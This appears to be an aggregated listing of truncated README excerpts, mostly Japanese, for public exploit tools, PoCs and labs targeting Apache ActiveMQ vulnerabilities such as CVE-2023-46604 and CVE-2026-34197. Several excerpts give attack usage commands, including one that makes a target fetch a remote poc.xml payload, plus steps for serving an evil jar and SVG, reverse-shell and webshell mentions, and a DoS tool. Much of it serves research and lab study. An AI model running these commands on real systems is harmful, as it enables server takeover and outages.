CVE-2023-46604-Apache-ActiveMQ-RCE-exp

プロジェクト参照 本プロジェクトは、https://github.com/X1r0z/ActiveMQ-RCE プロジェクトの exp を参考にして書き直した python 版の exp です。 使用方法 python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 -p パラメータはデフォルトで activeMQ のデフォルトポートになります。-x パラメータにはプロトコルのプレフィックスを付ける必要があります。 紹介 以下に openwire...

CVE-2023-46604

CVE-2023-46604 このリポジトリには、Apache ActiveMQ に影響する CVE-2023-46604 脆弱性向けのエクスプロイトスクリプトと Proof of Concept PoC XML ファイルが含まれています。この脆弱性は、OpenWire プロトコル内の安全でないデシリアライゼーションにより、リモートコード実行を可能にします。 Description CVE-2023-46604 は、Apache ActiveMQ の OpenWire プロトコルに存在するデシリアライゼーションの脆弱性です。この欠陥は、攻撃者が ActiveMQ...

CVE-2026-34197-Apache-ActiveMQ-RCE

commandに対してXMLエスケープを行っていなかったことに起因するreverseshell失敗の問題を修正...

CVE-Lab

CVE-2023-46604 ラボ このラボでは、CVE-2023-46604 の脆弱性を悪用する方法を説明します。 謝辞 Apache ActiveMQ CVE-2023-46604 環境 このラボでは、2台の仮想マシンのインストールが必要です。Kali Linux 2023.4 マシンと Ubuntu 22.04.3 LTS マシンの2台です。以下からダウンロードできます。 Kali Linux 2023.4 Ubuntu 22.04.3 LTS VMware-workstation-17.5.0 Windows用 VMware-workstation-17.5.0 Linux用...

CVE-2016-3088

CVE-2016-3088 Apache ActiveMQ リモートコード実行エクスプロイト 説明 Apache ActiveMQ 5.x 5.14.0 未満 の Fileserver Webアプリケーションでは、リモート攻撃者が HTTP PUT に続けて HTTP MOVE リクエストを送信することで、任意のファイルをアップロードおよび実行できます。 作者 Alexandre Aguiar @cyberaguiar エクスプロイト分析 Apache ActiveMQ リモートコード実行脆弱性 CVE-2016–3088 の分析 参考文献...

ActiveMQ_CVE-2015-5254

ActiveMQ デシリアライゼーション CVE-2015-5254 脆弱性の説明：Apache ActiveMQ 5.13.0 より前の 5.x バージョンに安全上の脆弱性が存在します。この脆弱性は、プログラムがブローカーでシリアライズ可能なクラスを制限していないことに起因します。リモートの攻撃者は、特別に細工されたシリアライズ化された Java Message Service JMS ObjectMessage オブジェクトを利用して、任意のコードを実行する可能性があります。 影響を受けるバージョン：Apache ActiveMQ 5.13.0 より前の 5.x バージョン 0x01...

CVE-2022-39197

CVE-2022-39197 RCE POC 使い方 ペイロードの準備 1. EvilJar/src/main/java/Exploit.java 内の Line 19 を自分のペイロードに編集します 2. jar をビルドします: mvn clean compile assembly:single 3. EvilJar-1.0-jar-with-dependencies.jar を EvilJar/target/ から serve/ フォルダーへ移動します 4. serve\evil.svg を編集し、attacker を置き換えます 5. python3 -m http.server...

OpenWire-CVE-2023-46604-Investigation

OpenWire-CVE-2023-46604-调查 OpenWire 实验室 在我担任二级安全运营中心（SOC）分析师期间，我收到了一名一级分析师上报的事件，涉及一台可公开访问的服务器，该服务器被观察到与多个可疑的外部 IP 地址进行通信。 对此，我启动了标准的事件响应（IR）流程，包括将该受影响服务器与网络隔离，以防止横向移动和潜在的数据外泄。随后，我从 NSM 平台获取了一份数据包捕获（PCAP）文件以作进一步调查。 我的目标是分析网络流量，并识别任何恶意活动指标。 1. 识别第一个可疑的外部 IP 地址 在分析网络流量并审查与该服务器建立的连接后，我识别出与 OpenWire...

CVE-2025-27533-Exploit-for-Apache-ActiveMQ

CVE-2025-27533 の Apache ActiveMQ 向けエクスプロイト CVE-2025-27533 の PoC エクスプロイトです。Apache ActiveMQ におけるサービス拒否 DoS 脆弱性です。このツールは悪意のある OpenWire パケットを送信して、対象サーバーの JVM ヒープメモリを枯渇させ、ポート 61616 の ActiveMQ サービスを潜在的にクラッシュさせます。 使用法 python CVE-2025-27533Exploit.py --host --port 61616 --total-packets 2000 --buffer-size...

CVE-2023-46604-ActiveMQ-RCE-pseudoshell

CVE-2023-46604 RCE 疑似シェル このスクリプトは、CVE-2023046604 Apache ActiveMQ を利用して疑似シェルを生成します。この脆弱性は、OpenWire プロトコル内の安全でない逆シリアライゼーションにより、リモートコード実行を可能にします。 説明 CVE-2023-46604 は、Apache ActiveMQ の OpenWire プロトコルに存在する逆シリアライゼーションの脆弱性です。この欠陥は、攻撃者が ActiveMQ が稼働しているサーバー上で任意のコードを実行するために悪用される可能性があります。攻撃者は悪意のある XML...

CVE-2024-21683-RCE

CVE-2024-21683-RCE クレジット https://x.com/realalphaman https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated 使用方法 git clone https://github.com/W01fh4cker/CVE-2024-21683-RCE cd CVE-2024-21683-RCE pip install requests bs4 python CVE-2024-21683.py -u http://192.168.198.1:809...

apache-activemq-rce-research

Apache ActiveMQ Classic — RCE リサーチ Apache ActiveMQ Classic の Jolokia → addNetworkConnector → xbean/Spring-XML リモートコード実行チェーン（CVE-2026-34197 とそのパッチバイパス CVE-2026-42588 ）に関するプライベートリサーチアーカイブです。さらに、修正版 6.2.6 リリースの完全な自動リサーチ監査と、Crowdfense の公開バイパス記事との比較も含まれています。 すべての悪用は ローカルラボブローカー （Docker /...

CVE-2023-46604-RCE

CVE-2023-46604-RCE 脆弱性 Apache ActiveMQ の OpenWire トランスポートアンマーシャラーにおける逆シリアル化の脆弱性。 影響を受けるバージョンは、5.18.0～5.18.2、5.17.0～5.17.5、5.16.0～ 5.16.6、および 5.15.16 より前のすべてのバージョンです。 セットアップ POC.XML 内の値をニーズに合わせて変更してください（実行するコマンド） POC.XML をホストします POC.XML の URL を -u 引数でスクリプトに渡します。単一の IP または IP のリストをテストできます 使用方法：...

CVE-2026-34197

🚨 CVE-2026-34197 — Apache ActiveMQ における重大な Jolokia RCE Jolokia MBeans 経由の認証済み RCE → リモート Spring XML → JVM コード実行 📖 概要 CVE-2026-34197 は、Apache ActiveMQ Classic に影響を与える 高深刻度の認証済みリモートコード実行脆弱性 です。 この問題は、以下のように公開されている Jolokia JMX-HTTP ブリッジ に存在します。 /api/jolokia/ 認証済み攻撃者は、以下のような危険な MBean メソッドを悪用できます。...

Apache ActiveMQ 6.x < 6.1.2 - Broken Access Control

Apache ActiveMQ 6.x contains an unauthenticated API web context caused by default configuration lacking security measures in the Jetty server, letting anyone interact with broker APIs and messaging layers, exploit requires no authentication. id: CVE-2024-32114 info: name: Apache ActiveMQ 6.x 6.1....

CVE-2016-3088

Apache ActiveMQ PUT RCE ワンクリックgetshell 使い方:python3 CVE-2016-3088.py -u https://tartget.com/...

CVE-2026-34197-PoC

CVE-2026-34197 — Apache ActiveMQ Jolokia addNetworkConnector RCE 针对 CVE-2026-34197 的概念验证与技术说明，该漏洞是 Apache ActiveMQ Classic 中可通过 Jolokia JMX-HTTP 桥接触发的远程代码执行漏洞。 受影响版本： ActiveMQ Classic ⚠️ 仅供授权测试/研究/CTF 使用。请勿针对你不拥有或未经明确许可的系统运行此漏洞。 1. 侦察 curl -s http://$TARGET:8161/ | grep -oiE...

CVE-2022-41678

Apache ActiveMQ CVE-2022-41678 漏洞利用工具 漏洞简介 参考文档: https://app.nextcyber.cn/courses/41/tasks/580 CVE-2022-41678 是 Apache ActiveMQ 中的一个远程代码执行漏洞。该漏洞允许攻击者通过 JMX Java Management Extensions 接口修改 Log4j 配置或 JFR Java Flight Recorder 配置，从而写入恶意的 JSP webshell 到服务器的 web 目录中，最终实现远程代码执行。 此漏洞影响 Apache ActiveMQ...

CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ

CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ このエクスプロイトは、https://github.com/X1cT34m https://github.com/X1r0z/ActiveMQ-RCE で利用可能な基礎的な研究に基づいています。私たちは、Metasploit Framework https://github.com/rapid7/metasploit-framework を活用してリバースシェルを実現する技術をさらに発展させました。 使用方法: 重要: XML ファイル内の IP アドレス 11行目の 0.0.0.0...

CVE-2026-34197-Lab

CVE-2026-34197 — Apache ActiveMQ Classic Jolokia RCE 实验环境 概述 本仓库是一个用于研究 CVE-2026-34197 的本地 Docker 实验环境，该漏洞是 Apache ActiveMQ Classic 中可通过 Jolokia JMX-HTTP API 触发的远程代码执行问题。 该实验环境并排比较两个 ActiveMQ Classic 实例： 服务| 版本| 用途| URL ---|---|---|--- vuln| 5.19.3| 存在漏洞的目标| http://127.0.0.1:8081 patched| 5.19.4|...